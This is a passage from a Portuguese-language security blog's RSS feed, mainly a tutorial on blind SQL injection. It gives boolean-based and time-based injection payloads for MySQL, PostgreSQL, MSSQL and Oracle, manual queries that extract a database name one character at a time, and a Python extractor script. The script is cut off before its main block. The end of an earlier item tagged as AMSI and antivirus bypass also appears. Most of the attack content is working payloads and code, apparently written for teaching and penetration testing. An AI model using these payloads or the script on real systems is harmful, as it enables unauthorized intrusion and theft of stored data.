&lt;/ul&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>evasion</category><category>amsi</category><category>powershell</category><category>evasion</category><category>windows</category><category>av-bypass</category><category>reflection</category><category>patching</category><difficulty>hard</difficulty></item><item><title>Blind SQL Injection — Extraindo dados sem ver o output</title><link>https://www.kbmsecurity.com.br/blog/post/sql-injection-blind/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/sql-injection-blind/</guid><description>Técnicas de exploração de Blind SQL Injection (boolean-based e time-based) para extração de dados quando a aplicação não retorna erros visíveis.</description><pubDate>Mon, 10 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;o-que-é-blind-sql-injection&quot;&gt;O que é Blind SQL Injection?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Blind SQL Injection&lt;/strong&gt; ocorre quando uma aplicação é vulnerável a SQL Injection, mas &lt;strong&gt;não retorna os resultados da query&lt;/strong&gt; nem mensagens de erro na resposta HTTP. O atacante precisa inferir o conteúdo do banco de dados com base em comportamentos indiretos da aplicação.&lt;/p&gt;
&lt;p&gt;Existem dois tipos principais:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tipo&lt;/th&gt;&lt;th&gt;Mecanismo&lt;/th&gt;&lt;th&gt;Velocidade&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Boolean-based&lt;/td&gt;&lt;td&gt;Avalia TRUE/FALSE na resposta&lt;/td&gt;&lt;td&gt;Lenta&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time-based&lt;/td&gt;&lt;td&gt;Mede atraso na resposta (SLEEP)&lt;/td&gt;&lt;td&gt;Muito lenta&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Error-based&lt;/td&gt;&lt;td&gt;Provoca erros com dados embutidos&lt;/td&gt;&lt;td&gt;Rápida&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Out-of-band&lt;/td&gt;&lt;td&gt;Exfiltração via DNS/HTTP&lt;/td&gt;&lt;td&gt;Rápida&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id=&quot;identificando-a-vulnerabilidade&quot;&gt;Identificando a vulnerabilidade&lt;/h2&gt;
&lt;h3 id=&quot;teste-básico-de-injeção&quot;&gt;Teste básico de injeção&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;http&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;GET&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; /user?id=1 &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;HTTP&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;Host&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Injete condições booleanas e observe diferenças de resposta:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Condição TRUE — resposta normal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND 1=1--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Condição FALSE — resposta diferente (sem conteúdo, redirect, etc.)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND 1=2--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Se as respostas forem &lt;strong&gt;visivelmente diferentes&lt;/strong&gt; entre TRUE e FALSE, o endpoint é vulnerável a boolean-based blind SQLi.&lt;/p&gt;
&lt;h3 id=&quot;teste-time-based&quot;&gt;Teste time-based&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# MySQL / MariaDB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND SLEEP(5)--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# PostgreSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND pg_sleep(5)--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# MSSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1; WAITFOR DELAY &apos;0:0:5&apos;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Oracle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE(&apos;a&apos;,5)--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Se a resposta demorar exatamente &lt;strong&gt;5 segundos&lt;/strong&gt;, o backend é vulnerável.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;boolean-based-exploitation-manual&quot;&gt;Boolean-Based Exploitation (Manual)&lt;/h2&gt;
&lt;p&gt;A técnica consiste em fazer perguntas de &lt;strong&gt;sim/não&lt;/strong&gt; ao banco de dados, extraindo um caractere por vez.&lt;/p&gt;
&lt;h3 id=&quot;identificando-o-banco-de-dados&quot;&gt;Identificando o banco de dados&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- MySQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(@@&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;5&apos;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- PostgreSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;PostgreSQL&apos;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- MSSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(@@&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;Microsoft&apos;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;extraindo-o-nome-do-banco-atual&quot;&gt;Extraindo o nome do banco atual&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Tamanho do nome&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; LENGTH&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;())&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Primeiro caractere&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;d&apos;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Segundo caractere&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;v&apos;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;script-python-para-automação-boolean-based&quot;&gt;Script Python para automação boolean-based&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# blind_sqli_extract.py — Boolean-based extractor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;id&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;CHARS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.ascii_lowercase &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.digits &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;_-@.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    &quot;&quot;&quot;Returns True if the injection condition is TRUE.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    params &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;1 AND (&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;)-- -&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    r &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;params, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;    # Adjust the marker to whatever differentiates TRUE from FALSE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Welcome&quot;&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; r.text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;max_len&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 64&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    &quot;&quot;&quot;Extract a string value one character at a time.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; pos &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, max_len &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; CHARS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            payload &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;SUBSTRING((&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;pos&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;,1)=&apos;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ch&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(payload):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(ch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;flush&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;                break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; found:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;            break&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # End of string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; __name__&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
